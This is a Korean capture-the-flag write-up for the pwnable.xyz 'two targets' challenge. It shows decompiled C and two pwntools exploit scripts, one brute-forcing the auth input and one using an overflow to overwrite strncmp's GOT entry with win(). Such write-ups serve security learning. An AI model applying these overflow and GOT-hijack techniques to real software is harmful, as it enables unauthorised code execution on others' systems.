[pwnable.xyz]two targets
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int v4; // eax
char s; // [rsp+10h] [rbp-40h]
__int64 v6; // [rsp+30h] [rbp-20h]
char *v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup();
v3 = 0LL;
memset(&s, 0, 56uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
v4 = read_int32();
if ( v4 != 2 )
break;
printf("nationality: ", v3);
v3 = &v6;
__isoc99_scanf("%24s", &v6);
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
printf("age: ", v3);
v3 = v7;
__isoc99_scanf("%d", v7);
}
else if ( v4 == 4 )
{
if ( auth(&s) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( v4 != 1 )
goto LABEL_14;
printf("name: ", v3);
v3 = &s;
__isoc99_scanf("%32s", &s);
}
}
}
auth()
함수로 win()
함수 실행시키면 된다.
_BOOL8 __fastcall auth(__int64 a1)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; i <= 31; ++i )
s1[i] = ((*(a1 + i) >> 4) | 16 * *(a1 + i)) ^ *(main + i);
return strncmp(s1, &s2, 0x20uLL) == 0;
}
그냥 s1, s2 비교해서 win() 실행시켜주는데 a1값을 알아야된다. a1으로 오는 인자는 1번 메뉴에서 입력할 때의 값이다.
디컴파일하면 이렇게 되는데 16 * *(a1 + i)
최적화되서 그런거같다. 어셈으로 보면 *(a1 + i) << 4
이거다.
넘 쉬워서 말할거 없다. 그냥 Brute Force로 값 찾았다.
exploit.py
from pwn import *
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
def change_name(name):
sla('>','1')
sa(':',name)
def change_national(nation):
sla('>','2')
sa(':',nation)
def change_age(age):
sla('>','3')
sla(':',str(age))
if __name__ == '__main__':
#context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30031)
s2 = [0x11, 0xDE, 0xCF, 0x10, 0xDF, 0x75, 0xBB, 0xA5, 0x43, 0x1E, 0x9D, 0xC2, 0xE3, 0xBF, 0xF5, 0xD6, 0x96, 0x7F, 0xBE, 0xB0, 0xBF, 0xB7, 0x96, 0x1D, 0xA8, 0xBB, 0x0A, 0xD9, 0xBF, 0xC9, 0x0D, 0xFF, 0x00]
main_opcode = [85, 72, 137, 229, 72, 131, 236, 80, 100, 72, 139, 4, 37, 40, 0, 0, 0, 72, 137, 69, 248, 49, 192, 232, 36, 254, 255, 255, 72, 141, 69, 192]
flag = ''
for i in range(32):
for j in range(256):
if ((((j >> 4) | (j << 4)) ^ main_opcode[i]) & 0xff) == s2[i]:
flag += chr(j)
break
log.info('check : ' + flag)
change_name(flag)
sla('>','4')
p.interactive()
또 다른 풀이 방법이 있다.
nation 입력할 때 v6 에서 값을 24까지 입력할 수있는데 v7하고 차이가 18인데 8바이트만큼 더 쓸 수 있어서 v7을 덮을 수 있다.
auth
함수에서 strncmp@got의 주소를 v7에 쓰고 이 got를 age에서 strncmp를 win
으로 덮으면 auth
함수 실행할 때 마다 win
함수가 호출 될 것이다.
exploit.py
from pwn import *
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
def change_name(name):
sla('>','1')
sa(':',name)
def change_national(nation):
sla('>','2')
sa(':',nation)
def change_age(age):
sla('>','3')
sla(':',str(age))
if __name__ == '__main__':
#context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30031)
change_national('A'*16 + p64(e.got['strncmp']))
change_age(str(e.symbols['win']))
sla('>','4')
p.interactive()